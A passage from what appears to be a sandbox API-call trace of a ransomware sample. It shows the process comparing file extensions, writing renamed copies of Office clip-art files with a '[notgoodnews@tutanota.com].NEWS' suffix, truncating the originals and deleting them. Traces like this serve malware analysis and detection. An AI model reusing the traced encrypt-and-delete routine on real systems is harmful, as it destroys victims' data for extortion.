[0087.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.927] lstrlenW (lpString=".7z") returned 3 [0087.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0087.927] lstrlenW (lpString=".dbf") returned 4 [0087.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0087.927] lstrlenW (lpString=".1cd") returned 4 [0087.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0087.927] lstrlenW (lpString=".jpg") returned 4 [0087.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0087.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0087.928] lstrlenW (lpString=".doc") returned 4 [0087.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.928] lstrlenW (lpString=".docx") returned 5 [0087.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.928] lstrlenW (lpString=".pdf") returned 4 [0087.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.928] lstrlenW (lpString=".xls") returned 4 [0087.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.928] lstrlenW (lpString=".xlsx") returned 5 [0087.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.928] lstrlenW (lpString=".ppt") returned 4 [0087.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0087.928] lstrlenW (lpString=".zip") returned 4 [0087.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.928] lstrlenW (lpString=".rar") returned 4 [0087.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.928] lstrlenW (lpString=".bz2") returned 4 [0087.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.928] lstrlenW (lpString=".7z") returned 3 [0087.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0087.928] lstrlenW (lpString=".dbf") returned 4 [0087.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0087.928] lstrlenW (lpString=".1cd") returned 4 [0087.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0087.928] lstrlenW (lpString=".jpg") returned 4 [0087.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.928] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.929] lstrlenW (lpString="HH00443_.WMF") returned 12 [0087.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.929] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=3298) returned 1 [0087.929] CloseHandle (hObject=0x2c4) returned 1 [0087.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220 [0087.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.930] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.930] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0087.930] GetLastError () returned 0x0 [0087.930] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xce2, lpOverlapped=0x0) returned 1 [0087.932] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0087.938] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.938] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.938] SetEndOfFile (hFile=0x344) returned 1 [0087.938] CloseHandle (hObject=0x344) returned 1 [0087.938] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.938] SetEndOfFile (hFile=0x2c4) returned 1 [0087.939] CloseHandle (hObject=0x2c4) returned 1 [0087.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0087.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0087.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0087.940] lstrlenW (lpString=".doc") returned 4 [0087.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.940] lstrlenW (lpString=".docx") returned 5 [0087.940] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.940] lstrlenW (lpString=".pdf") returned 4 [0087.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.940] lstrlenW (lpString=".xls") returned 4 [0087.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.940] lstrlenW (lpString=".xlsx") returned 5 [0087.940] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.940] lstrlenW (lpString=".ppt") returned 4 [0087.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0087.940] lstrlenW (lpString=".zip") returned 4 [0087.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.940] lstrlenW (lpString=".rar") returned 4 [0087.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.940] lstrlenW (lpString=".bz2") returned 4 [0087.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.940] lstrlenW (lpString=".7z") returned 3 [0087.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0087.940] lstrlenW (lpString=".dbf") returned 4 [0087.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0087.940] lstrlenW (lpString=".1cd") returned 4 [0087.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0087.941] lstrlenW (lpString=".jpg") returned 4 [0087.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0087.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0087.941] lstrlenW (lpString=".doc") returned 4 [0087.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.941] lstrlenW (lpString=".docx") returned 5 [0087.941] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.941] lstrlenW (lpString=".pdf") returned 4 [0087.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.941] lstrlenW (lpString=".xls") returned 4 [0087.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.941] lstrlenW (lpString=".xlsx") returned 5 [0087.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.941] lstrlenW (lpString=".ppt") returned 4 [0087.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0087.941] lstrlenW (lpString=".zip") returned 4 [0087.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.941] lstrlenW (lpString=".rar") returned 4 [0087.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.941] lstrlenW (lpString=".bz2") returned 4 [0087.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.941] lstrlenW (lpString=".7z") returned 3 [0087.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0087.941] lstrlenW (lpString=".dbf") returned 4 [0087.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0087.941] lstrlenW (lpString=".1cd") returned 4 [0087.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0087.941] lstrlenW (lpString=".jpg") returned 4 [0087.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.942] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.942] lstrlenW (lpString="HH00513_.WMF") returned 12 [0087.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.942] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=818) returned 1 [0087.942] CloseHandle (hObject=0x2c4) returned 1 [0088.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x220 [0088.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0088.348] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.348] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0088.353] GetLastError () returned 0x0 [0088.353] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x332, lpOverlapped=0x0) returned 1 [0088.354] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x340, lpOverlapped=0x0) returned 1 [0088.357] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.357] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0088.357] SetEndOfFile (hFile=0x35c) returned 1 [0088.357] CloseHandle (hObject=0x35c) returned 1 [0088.357] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.357] SetEndOfFile (hFile=0x390) returned 1 [0088.358] CloseHandle (hObject=0x390) returned 1 [0088.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0088.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0088.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0088.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0088.358] lstrlenW (lpString=".doc") returned 4 [0088.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.358] lstrlenW (lpString=".docx") returned 5 [0088.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.358] lstrlenW (lpString=".pdf") returned 4 [0088.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.358] lstrlenW (lpString=".xls") returned 4 [0088.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.359] lstrlenW (lpString=".xlsx") returned 5 [0088.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.359] lstrlenW (lpString=".ppt") returned 4 [0088.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0088.359] lstrlenW (lpString=".zip") returned 4 [0088.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.359] lstrlenW (lpString=".rar") returned 4 [0088.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.359] lstrlenW (lpString=".bz2") returned 4 [0088.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.359] lstrlenW (lpString=".7z") returned 3 [0088.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0088.359] lstrlenW (lpString=".dbf") returned 4 [0088.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0088.359] lstrlenW (lpString=".1cd") returned 4 [0088.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0088.359] lstrlenW (lpString=".jpg") returned 4 [0088.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0088.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0088.359] lstrlenW (lpString=".doc") returned 4 [0088.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.359] lstrlenW (lpString=".docx") returned 5 [0088.359] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.359] lstrlenW (lpString=".pdf") returned 4 [0088.359] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.359] lstrlenW (lpString=".xls") returned 4 [0088.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.359] lstrlenW (lpString=".xlsx") returned 5 [0088.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.359] lstrlenW (lpString=".ppt") returned 4 [0088.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0088.360] lstrlenW (lpString=".zip") returned 4 [0088.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.360] lstrlenW (lpString=".rar") returned 4 [0088.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.360] lstrlenW (lpString=".bz2") returned 4 [0088.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.360] lstrlenW (lpString=".7z") returned 3 [0088.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0088.360] lstrlenW (lpString=".dbf") returned 4 [0088.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0088.360] lstrlenW (lpString=".1cd") returned 4 [0088.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0088.360] lstrlenW (lpString=".jpg") returned 4 [0088.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.360] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.360] lstrlenW (lpString="HH00687_.WMF") returned 12 [0088.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0088.361] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=4340) returned 1 [0088.361] CloseHandle (hObject=0x390) returned 1 [0088.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220 [0088.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0088.361] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.361] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0088.362] GetLastError () returned 0x0 [0088.362] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x10f4, lpOverlapped=0x0) returned 1 [0088.363] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1100, lpOverlapped=0x0) returned 1 [0088.365] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.365] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0088.365] SetEndOfFile (hFile=0x35c) returned 1 [0088.365] CloseHandle (hObject=0x35c) returned 1 [0088.365] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.365] SetEndOfFile (hFile=0x390) returned 1 [0088.366] CloseHandle (hObject=0x390) returned 1 [0088.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0088.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0088.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0088.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0088.366] lstrlenW (lpString=".doc") returned 4 [0088.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.366] lstrlenW (lpString=".docx") returned 5 [0088.366] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.367] lstrlenW (lpString=".pdf") returned 4 [0088.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.367] lstrlenW (lpString=".xls") returned 4 [0088.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.367] lstrlenW (lpString=".xlsx") returned 5 [0088.367] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.367] lstrlenW (lpString=".ppt") returned 4 [0088.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0088.367] lstrlenW (lpString=".zip") returned 4 [0088.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.367] lstrlenW (lpString=".rar") returned 4 [0088.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.367] lstrlenW (lpString=".bz2") returned 4 [0088.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.367] lstrlenW (lpString=".7z") returned 3 [0088.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0088.367] lstrlenW (lpString=".dbf") returned 4 [0088.367] lstrcmpiW (lpString1=".dbf", 